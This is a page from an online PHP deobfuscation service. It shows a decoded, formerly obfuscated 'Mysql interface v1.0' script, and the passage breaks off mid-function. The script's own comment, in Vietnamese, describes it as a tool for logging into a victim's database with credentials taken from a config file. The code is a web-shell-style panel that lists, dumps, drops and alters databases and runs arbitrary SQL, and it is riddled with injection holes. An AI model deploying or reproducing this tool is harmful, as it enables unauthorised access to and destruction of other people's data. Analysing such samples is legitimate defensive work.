Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK Pro..

Decoded Output download

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2024-04-04 18:17:30              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
 echo "<?\xa/*\xa* Mysql interface v1.0\xa* -------------------------------
* Description :\xa* Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config
*/\xa\xa$HOSTNAME = "localhost";\xa
function logon() {
global $PHP_SELF;\xa\xasetcookie( "mysql_web_admin_username" );
setcookie( "mysql_web_admin_password" );
echo "<html>\n";\xaecho "<head>\n";\xaecho "<title>Mysql interface</title>\n";\xaecho "</head>\n";
echo "<body>\n";
echo "<table width=100% height=100%><tr><td><center>\n";\xaecho "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n";\xaecho "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n";
echo "<form action='$PHP_SELF'>\n";
echo "<input type=hidden name=action value=logon_submit>\n";\xaecho "<table cellpadding=5 cellspacing=1>\n";\xaecho "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";\xaecho "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";\xaecho "</table><p>\n";\xaecho "<input type=submit value='Enter'>\n";
echo "<input type=reset value='Clear'><br>\n";
echo "</form>\n";
echo "</center></td></tr></table>\n";
echo "</center></td></tr></table>\n";
echo "<p><hr width=300>\n";
echo "<font size=2>\n";\xaecho "Copyright &copy; 2005\n <br>";\xaecho "</font>\n";\xaecho "</center></td></tr></table>\n";
echo "</body>\n";
echo "</html>\n";\xa}

function logon_submit() {\xaglobal $username, $password, $PHP_SELF;

setcookie( "mysql_web_admin_username", $username );
setcookie( "mysql_web_admin_password", $password );\xaecho "<html>";
echo "<head>";\xaecho "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";\xaecho "</head>";\xaecho "</html>";\xa}
\xafunction echoQueryResult() {\xaglobal $queryStr, $errMsg;

if( $errMsg == "" ) $errMsg = "Success";
if( $queryStr != "" ) {\xa  echo "<table cellpadding=5>\n";\xa  echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";\xa  echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";\xa  echo "</table><p>\n";
}
}\xa\xafunction listDatabases() {
global $mysqlHandle, $PHP_SELF;

echo "<h1>Database List</h1>\n";\xa\xaecho "<form action='$PHP_SELF'>\n";\xaecho "<input type=hidden name=action value=createDB>\n";
echo "<input type=text name=dbname>\n";
echo "<input type=submit value='Create Database'>\n";
echo "</form>\n";
echo "<hr>\n";\xa\xaecho "<table cellspacing=1 cellpadding=5>\n";

$pDB = mysql_list_dbs( $mysqlHandle );
$num = mysql_num_rows( $pDB );
for( $i = 0; $i < $num; $i++ ) {\xa  $dbname = mysql_dbname( $pDB, $i );\xa  echo "<tr>\n";
  echo "<td>$dbname</td>\n";
  echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n";\xa  echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";\xa  echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n";\xa  echo "</tr>\n";
}
echo "</table>\n";
}\xa
function createDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;\xa\xamysql_create_db( $dbname, $mysqlHandle );
listDatabases();\xa}\xa
function dropDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;\xa
mysql_drop_db( $dbname, $mysqlHandle );
listDatabases();\xa}\xa
function listTables() {\xaglobal $mysqlHandle, $dbname, $PHP_SELF;
\xaecho "<h1>Table List</h1>\n";
echo "<p class=location>$dbname</p>\n";
echoQueryResult();\xaecho "<form action='$PHP_SELF'>\n";
echo "<input type=hidden name=action value=createTable>\n";\xaecho "<input type=hidden name=dbname value=$dbname>\n";\xaecho "<input type=text name=tablename>\n";
echo "<input type=submit value='Create Table'>\n";\xaecho "</form>\n";\xaecho "<form action='$PHP_SELF'>\n";\xaecho "<input type=hidden name=action value=query>\n";
echo "<input type=hidden name=dbname value=$dbname>\n";\xaecho "<input type=text size=40 name=queryStr>\n";
//echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>";\xaecho "<input type=submit value='Query'>\n";\xaecho "</form>\n";\xaecho "<hr>\n";
\xa$pTable = mysql_list_tables( $dbname );
\xaif( $pTable == 0 ) {\xa  $msg  = mysql_error();\xa  echo "<h3>Error : $msg</h3><p>\n";\xa  return;\xa}\xa$num = mysql_num_rows( $pTable );

echo "<table cellspacing=1 cellpadding=5>\n";\xa
for( $i = 0; $i < $num; $i++ ) {
  $tablename = mysql_tablename( $pTable, $i );

  echo "<tr>\n";\xa  echo "<td>\n";\xa  echo "$tablename\n";
  echo "</td>\n";
  echo "<td>\n";\xa  echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  echo "</td>\n";\xa  echo "<td>\n";\xa  echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  echo "</td>\n";
  echo "<td>\n";
  echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n";
  echo "</td>\n";
  echo "<td>\n";\xa  echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n";\xa  echo "</td>\n";
  echo "</tr>\n";\xa}

echo "</table>";\xa}\xa\xafunction createTable() {\xaglobal $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;\xa\xa$queryStr = "CREATE TABLE $tablename ( no INT )";\xamysql_select_db( $dbname, $mysqlHandle );\xamysql_query( $queryStr, $mysqlHandle );\xa$errMsg = mysql_error();

listTables();
}
\xafunction dropTable() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;\xa
$queryStr = "DROP TABLE $tablename";\xamysql_select_db( $dbname, $mysqlHandle );\xamysql_query( $queryStr, $mysqlHandle );\xa$errMsg = mysql_error();

listTables();\xa}
\xafunction viewSchema() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
\xaecho "<h1>Table Schema</h1>\n";
echo "<p class=location>$dbname &gt; $tablename</p>\n";\xa
echoQueryResult();\xa
echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
echo "<hr>\n";

$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );\xa$num = mysql_num_rows( $pResult );\xa
echo "<table cellspacing=1 cellpadding=5>\n";
echo "<tr>\n";\xaecho "<th>Field</th>\n";
echo "<th>Type</th>\n";\xaecho "<th>Null</th>\n";\xaecho "<th>Key</th>\n";\xaecho "<th>Default</th>\n";
echo "<th>Extra</th>\n";\xaecho "<th colspan=2>Action</th>\n";\xaecho "</tr>\n";
\xafor( $i = 0; $i < $num; $i++ ) {\xa  $field = mysql_fetch_array( $pResult );\xa  echo "<tr>\n";\xa  echo "<td>".$field["Field"]."</td>\n";\xa  echo "<td>".$field["Type"]."</td>\n";
  echo "<td>".$field["Null"]."</td>\n";\xa  echo "<td>".$field["Key"]."</td>\n";\xa  echo "<td>".$field["Default"]."</td>\n";\xa  echo "<td>".$field["Extra"]."</td>\n";
  $fieldname = $field["Field"];
  echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  echo "</tr>\n";
}
echo "</table>\n";
}\xa\xafunction manageField( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;\xa
if( $cmd == "add" )\xa  echo "<h1>Add Field</h1>\n";
else if( $cmd == "edit" ) {
  echo "<h1>Edit Field</h1>\n";
  $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );\xa  $num = mysql_num_rows( $pResult );\xa  for( $i = 0; $i < $num; $i++ ) {\xa  $field = mysql_fetch_array( $pResult );\xa  if( $field["Field"] == $fieldname ) {
    $fieldtype = $field["Type"];\xa    $fieldkey = $field["Key"];
    $fieldextra = $field["Extra"];\xa    $fieldnull = $field["Null"];
    $fielddefault = $field["Default"];
    break;
  }\xa  }\xa  $type = strtok( $fieldtype, " (,)\n" );
  if( strpos( $fieldtype, "(" ) ) {
  if( $type == "enum" | $type == "set" ) {\xa    $valuelist = strtok( " ()\n" );
  } else {\xa    $M = strtok( " (,)\n" );\xa    if( strpos( $fieldtype, "," ) )\xa    $D = strtok( " (,)\n" );
  }
  }
}
\xaecho "<p class=location>$dbname &gt; $tablename</p>\n";
echo "<form action=$PHP_SELF>\n";\xa\xaif( $cmd == "add" )\xa  echo "<input type=hidden name=action value=addField_submit>\n";\xaelse if( $cmd == "edit" ) {
  echo "<input type=hidden name=action value=editField_submit>\n";
  echo "<input type=hidden name=old_name value=$fieldname>\n";
}\xaecho "<input type=hidden name=dbname value=$dbname>\n";
echo "<input type=hidden name=tablename value=$tablename>\n";
\xaecho "<h3>Name</h3>\n";\xaecho "<input type=text name=name value=$fieldname><p>\n";\xa?>\xa\xa<h3>Type</h3>\xa\xa<font size=2>\xa* `M' indicates the maximum display size.<br>\xa* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>\xa\xa<table>\xa<tr>\xa<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>\xa<tr>
<td><input type=radio name=type value="TINYINT" <? if( $type == "tinyint" ) echo "checked";?>>TINYINT (-128 ~ 127)</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>\xa</tr>
<tr>
<td><input type=radio name=type value="SMALLINT" <? if( $type == "smallint" ) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>\xa<td>&nbsp</td>\xa<td align=center>O</td>
<td align=center>O</td>\xa<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="MEDIUMINT" <? if( $type == "mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td>
<td align=center>O</td>
<td>&nbsp</td>\xa<td align=center>O</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>
</tr>\xa<tr>
<td><input type=radio name=type value="INT" <? if( $type == "int" ) echo "checked";?>>INT (-2147483648 ~ 2147483647)</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>\xa<td align=center>O</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" ) echo "checked";?>>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>\xa<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>\xa<tr>
<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) echo "checked";?>>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>\xa<td>&nbsp</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>\xa</tr>\xa<tr>\xa<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" ) echo "checked";?>>DOUBLE</td>\xa<td align=center>O</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>\xa<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="DECIMAL" <? if( $type == "decimal" ) echo "checked";?>>DECIMAL(NUMERIC)</td>\xa<td align=center>O</td>
<td align=center>O</td>\xa<td>&nbsp</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>\xa</tr>\xa<tr>\xa<td><input type=radio name=type value="DATE" <? if( $type == "date" ) echo "checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>
</tr>\xa<tr>\xa<td><input type=radio name=type value="DATETIME" <? if( $type == "datetime" ) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>\xa</tr>\xa<tr>
<td><input type=radio name=type value="TIMESTAMP" <? if( $type == "timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="TIME" <? if( $type == "time" ) echo "checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa</tr>\xa<tr>
<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) echo "checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) echo "checked";?>>CHAR</td>
<td align=center>O</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa<td align=center>O</td>\xa</tr>\xa<tr>
<td><input type=radio name=type value="VARCHAR" <? if( $type == "varchar" ) echo "checked";?>>VARCHAR</td>\xa<td align=center>O</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>\xa<tr>
<td><input type=radio name=type value="TINYTEXT" <? if( $type == "tinytext" ) echo "checked";?>>TINYTEXT (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>\xa</tr>
<tr>
<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) echo "checked";?>>TEXT (0 ~ 65535)</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa</tr>
<tr>\xa<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == "mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" <? if( $type == "longtext" ) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>\xa<tr>\xa<td><input type=radio name=type value="TINYBLOB" <? if( $type == "tinyblob" ) echo "checked";?>>TINYBLOB (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>\xa</tr>
<tr>
<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) echo "checked";?>>BLOB (0 ~ 65535)</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == "mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td>\xa<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>\xa<td><input type=radio name=type value="LONGBLOB" <? if( $type == "longblob" ) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td>\xa<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>\xa<td>&nbsp</td>
</tr>\xa<tr>
<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) echo "checked";?>>ENUM</td>\xa<td colspan=5><center>value list</center></td>
</tr>\xa<tr>\xa<td><input type=radio name=type value="SET" <? if( $type == "set" ) echo "checked";?>>SET</td>
<td colspan=5><center>value list</center></td>\xa</tr>\xa\xa</table>\xa<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo "value=$M";?>></td>\xa<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo "value=$D";?>></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? if( strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td>\xa<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? if( strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td>\xa<td align=center><input type=checkbox name=binary value="BINARY" <? if( strpos( $fieldtype, "binary" )  ) echo "checked";?>></td>\xa<td align=center><input type=text size=60 name=valuelist <? if( $valuelist != "" ) echo "value=\"$valuelist\"";?>></td>
</tr>
</table>
\xa\xa<h3>Flags</h3>\xa<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\xa<tr>\xa<td align=center><input type=checkbox name=not_null value="NOT NULL" <? if( $fieldnull != "YES" ) echo "checked";?>></td>
<td align=center><input type=text name=default_value <? if( $fielddefault != "" ) echo "value=$fielddefault";?>></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo "checked";?>></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" <? if( $fieldkey == "PRI" ) echo "checked";?>></td>\xa</tr>\xa</table>\xa
<p>\xa
<?\xaif( $cmd == "add" )
  echo "<input type=submit value='Add Field'>\n";\xaelse if( $cmd == "edit" )\xa  echo "<input type=submit value='Edit Field'>\n";
echo "<input type=button value=Cancel onClick='history.back()'>\n";
echo "</form>\n";
}

function manageField_submit( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;\xa
if( $cmd == "add" )
  $queryStr = "ALTER TABLE $tablename ADD $name ";
else if( $cmd == "edit" )
  $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";\xa\xaif( $M != "" )\xa  if( $D != "" )\xa  $queryStr .= "$type($M,$D) ";\xa  else\xa  $queryStr .= "$type($M) ";\xaelse if( $valuelist != "" ) {
  $valuelist = stripslashes( $valuelist );
  $queryStr .= "$type($valuelist) ";
} else\xa  $queryStr .= "$type ";

$queryStr .= "$unsigned $zerofill $binary ";

if( $default_value != "" )\xa  $queryStr .= "DEFAULT '$default_value' ";\xa
$queryStr .= "$not_null $auto_increment";

mysql_select_db( $dbname, $mysqlHandle );\xamysql_query( $queryStr, $mysqlHandle );\xa$errMsg = mysql_error();
\xa// key change\xa$keyChange = false;\xa$result = mysql_query( "SHOW KEYS FROM $tablename" );\xa$primary = "";\xawhile( $row = mysql_fetch_array($result) )
  if( $row["Key_name"] == "PRIMARY" ) {
  if( $row[Column_name] == $name )\xa    $keyChange = true;
  else
    $primary .= ", $row[Column_name]";
  }
if( $primary_key == "PRIMARY KEY" ) {
  $primary .= ", $name";
  $keyChange = !$keyChange;
}\xa$primary = substr( $primary, 2 );\xaif( $keyChange == true ) {\xa  $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  mysql_query( $q );\xa  $queryStr .= "<br>\n" . $q;\xa  $errMsg .= "<br>\n" . mysql_error();
  $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";\xa  mysql_query( $q );\xa  $queryStr .= "<br>\n" . $q;\xa  $errMsg .= "<br>\n" . mysql_error();\xa}\xa
viewSchema();\xa}
\xafunction dropField() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
\xa$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr , $mysqlHandle );
$errMsg = mysql_error();\xa
viewSchema();
}

function viewData( $queryStr ) {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;\xa\xaecho "<h1>Data in Table</h1>\n";\xaif( $tablename != "" )
  echo "<p class=location>$dbname &gt; $tablename</p>\n";\xaelse
  echo "<p class=location>$dbname</p>\n";

$queryStr = stripslashes( $queryStr );
if( $queryStr == "" ) {\xa  $queryStr = "SELECT * FROM $tablename";\xa  if( $orderby != "" )\xa  $queryStr .= " ORDER BY $orderby";\xa  echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
}
\xa$pResult = mysql_db_query( $dbname, $queryStr );\xa$errMsg = mysql_error();

$GLOBALS[queryStr] = $queryStr;
\xaif( $pResult == false ) {\xa  echoQueryResult();
  return;\xa}\xaif( $pResult == 1 ) {
  $errMsg = "Success";
  echoQueryResult();
  return;\xa}

echo "<hr>\n";\xa\xa$row = mysql_num_rows( $pResult );
$col = mysql_num_fields( $pResult );\xa
if( $row == 0 ) {\xa  echo "No Data Exist!";\xa  return;\xa}

if( $rowperpage == "" ) $rowperpage = 20;
if( $page == "" ) $page = 0;
else $page--;
mysql_data_seek( $pResult, $page * $rowperpage );\xa\xaecho "<table cellspacing=1 cellpadding=2>\n";\xaecho "<tr>\n";\xafor( $i = 0; $i < $col; $i++ ) {
  $field = mysql_fetch_field( $pResult, $i );\xa  echo "<th>";\xa  echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  echo "</th>\n";\xa}\xaecho "<th colspan=2>Action</th>\n";\xaecho "</tr>\n";

for( $i = 0; $i < $rowperpage; $i++ ) {\xa  $rowArray = mysql_fetch_row( $pResult );\xa  if( $rowArray == false ) break;\xa  echo "<tr>\n";
  $key = "";
  for( $j = 0; $j < $col; $j++ ) {
  $data = $rowArray[$j];\xa
  $field = mysql_fetch_field( $pResult, $j );
  if( $field->primary_key == 1 )
    $key .= "&" . $field->name . "=" . $data;\xa\xa  if( strlen( $data ) > 20 )\xa    $data = substr( $data, 0, 20 ) . "...";\xa  $data = htmlspecialchars( $data );
  echo "<td>\n";
  echo "$data\n";\xa  echo "</td>\n";\xa  }\xa\xa  if( $key == "" )
  echo "<td colspan=2>no Key</td>\n";
  else {
  echo "<td><a href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n";
  echo "<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";\xa  }\xa  echo "</tr>\n";
}\xaecho "</table>\n";\xa\xaecho "<font size=2>\n";
echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";\xaecho "<font color=green>\n";\xaecho ($page+1)."/".(int)($row/$rowperpage+1)." page";
echo "</font>\n";
echo " | ";
if( $page > 0 ) {\xa  echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  if( $orderby != "" )
  echo "&orderby=$orderby";
  echo "'>Prev</a>\n";
} else\xa  echo "Prev";\xaecho " | ";\xaif( $page < ($row/$rowperpage)-1 ) {
  echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);\xa  if( $orderby != "" )\xa  echo "&orderby=$orderby";\xa  echo "'>Next</a>\n";
} else\xa  echo "Next";
echo " | ";
if( $row > $rowperpage ) {\xa  echo "<input type=text size=4 name=page>\n";
  echo "<input type=submit value='Go'>\n";\xa}\xaecho "</form>\n";
echo "</font>\n";\xa}\xa
function manageData( $cmd ) {\xaglobal $mysqlHandle, $dbname, $tablename, $PHP_SELF;\xa
if( $cmd == "add" )
  echo "<h1>Add Data</h1>\n";
else if( $cmd == "edit" ) {\xa  echo "<h1>Edit Data</h1>\n";
  $pResult = mysql_list_fields( $dbname, $tablename );\xa  $num = mysql_num_fields( $pResult );
\xa  $key = "";\xa  for( $i = 0; $i < $num; $i++ ) {
  $field = mysql_fetch_field( $pResult, $i );
  if( $field->primary_key == 1 )\xa    if( $field->numeric == 1 )
    $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
    else\xa    $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";\xa  }\xa  $key = substr( $key, 0, strlen($key)-4 );\xa
  mysql_select_db( $dbname, $mysqlHandle );\xa  $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  $data = mysql_fetch_array( $pResult );
}
\xaecho "<p class=location>$dbname &gt; $tablename</p>\n";

echo "<form action='$PHP_SELF' method=post>\n";\xaif( $cmd == "add" )\xa  echo "<input type=hidden name=action value=addData_submit>\n";
else if( $cmd == "edit" )
  echo "<input type=hidden name=action value=editData_submit>\n";
echo "<input type=hidden name=dbname value=$dbname>\n";
echo "<input type=hidden name=tablename value=$tablename>\n";\xaecho "<table cellspacing=1 cellpadding=2>\n";
echo "<tr>\n";
echo "<th>Name</th>\n";
echo "<th>Type</th>\n";
echo "<th>Function</th>\n";\xaecho "<th>Data</th>\n";\xaecho "</tr>\n";\xa
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );\xa$num = mysql_num_rows( $pResult );
\xa$pResultLen = mysql_list_fields( $dbname, $tablename );\xa\xafor( $i = 0; $i < $num; $i++ ) {
  $field = mysql_fetch_array( $pResult );\xa  $fieldname = $field["Field"];\xa  $fieldtype = $field["Type"];
  $len = mysql_field_len( $pResultLen, $i );\xa\xa  echo "<tr>";
  echo "<td>$fieldname</td>";
  echo "<td>".$field["Type"]."</td>";\xa  echo "<td>\n";
  echo "<select name=${fieldname}_function>\n";\xa  echo "<option>\n";
  echo "<option>ASCII\n";\xa  echo "<option>CHAR\n";
  echo "<option>SOUNDEX\n";\xa  echo "<option>CURDATE\n";
  echo "<option>CURTIME\n";
  echo "<option>FROM_DAYS\n";
  echo "<option>FROM_UNIXTIME\n";\xa  echo "<option>NOW\n";
  echo "<option>PASSWORD\n";
  echo "<option>PERIOD_ADD\n";\xa  echo "<option>PERIOD_DIFF\n";
  echo "<option>TO_DAYS\n";\xa  echo "<option>USER\n";
  echo "<option>WEEKDAY\n";
  echo "<option>RAND\n";\xa  echo "</select>\n";\xa  echo "</td>\n";\xa  $value = htmlspecialchars($data[$i]);
  if( $cmd == "add" ) {
  $type = strtok( $fieldtype, " (,)\n" );\xa  if( $type == "enum" || $type == "set" ) {
    echo "<td>\n";\xa    if( $type == "enum" )\xa    echo "<select name=$fieldname>\n";\xa    else if( $type == "set" )
    echo "<select name=$fieldname size=4 multiple>\n";
    echo strtok( "'" );\xa    while( $str = strtok( "'" ) ) {
    echo "<option>$str\n";\xa    strtok( "'" );\xa    }
    echo "</select>\n";\xa    echo "</td>\n";
  } else {
    if( $len < 40 )\xa    echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
    else\xa    echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  }
  } else if( $cmd == "edit" ) {\xa  $type = strtok( $fieldtype, " (,)\n" );\xa  if( $type == "enum" || $type == "set" ) {
    echo "<td>\n";\xa    if( $type == "enum" )
    echo "<select name=$fieldname>\n";
    else if( $type == "set" )
    echo "<select name=$fieldname size=4 multiple>\n";\xa    echo strtok( "'" );
    while( $str = strtok( "'" ) ) {
    if( $value == $str )\xa      echo "<option selected>$str\n";
    else
      echo "<option>$str\n";
    strtok( "'" );
    }
    echo "</select>\n";\xa    echo "</td>\n";
  } else {\xa    if( $len < 40 )\xa    echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
    else
    echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  }
  }\xa  echo "</tr>";
}
echo "</table><p>\n";\xaif( $cmd == "add" )\xa  echo "<input type=submit value='Add Data'>\n";
else if( $cmd == "edit" )
  echo "<input type=submit value='Edit Data'>\n";\xaecho "<input type=button value='Cancel' onClick='history.back()'>\n";
echo "</form>\n";
}\xa\xafunction manageData_submit( $cmd ) {\xaglobal $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );\xa\xamysql_select_db( $dbname, $mysqlHandle );
if( $cmd == "add" )\xa  $queryStr = "INSERT INTO $tablename VALUES (";
else if( $cmd == "edit" )\xa  $queryStr = "REPLACE INTO $tablename VALUES (";
for( $i = 0; $i < $num-1; $i++ ) {
  $field = mysql_fetch_field( $pResult );\xa  $func = $GLOBALS[$field->name."_function"];
